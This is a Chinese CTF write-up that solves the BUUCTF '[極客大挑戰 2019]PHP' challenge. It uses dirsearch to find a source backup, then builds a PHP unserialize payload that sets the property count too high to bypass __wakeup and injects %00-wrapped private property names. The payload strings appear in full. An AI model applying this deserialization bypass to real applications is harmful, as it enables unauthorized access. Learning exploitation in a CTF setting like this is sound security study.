用dirsearch掃描文件,掃了一萬年什么也沒掃出來
從網上看的wp,他們掃出來www.zip? ? 這里直接用上了,以后有空再掃一遍
下載www.zip? 在index.php中
說明要輸入select
打開class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
?這里得知username=admin,password=100
構造:
<?phpclass Name{private $username;private $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}}$a=new Name('admin','100');echo serialize($a);?>
O:表示對象 ?????????O表示對象,1表示對象名的字符串長度,'a'是對象名,0是對象內屬性個數 1
4:代表名為Name的類 ?有四個字符
2是對象內屬性的個數 ?
s: 代表的字符串
14:代表的字符串的長度
而我們的Nameusername 只有12個字符,這里的14怎么來的呢?
大家可以理解為Name 和username 是拼接起來的 所以在Name和username這里各有一個空格,所以就是14個字符了
后面的意思都一樣了?
?繞過__wake():將屬性個數改為3或更大的數?
O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
哪里還沒考慮到?
如果構造的鏈子中含有空格,那么空格被url編碼為%20后會導致鏈子不能被反序列化
故POC可改為
O:4:"Name":3:{s:13:"Name%00username";s:5:"admin";s:13:"Name%00password";i:100;}
同時,因為private 聲明的字段為私有字段,只在所聲明的類中可見,在該類的子類和該類的對象實例中均不可見。因此私有字段的字段名在序列化(即構造POC)時,類名和字段名前面都會加上ascii為0的字符(不可見字符)
故POC改為
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
提交,拿到flag?
參考:
[極客大挑戰 2019]PHP1全網最詳細 純小白也能看懂-CSDN博客
[網絡安全 CTF] BUUCTF極客大挑戰2019PHP解題詳析(Dirsearch使用實例+php反序列化)_[極客大挑戰 2019]php-CSDN博客
?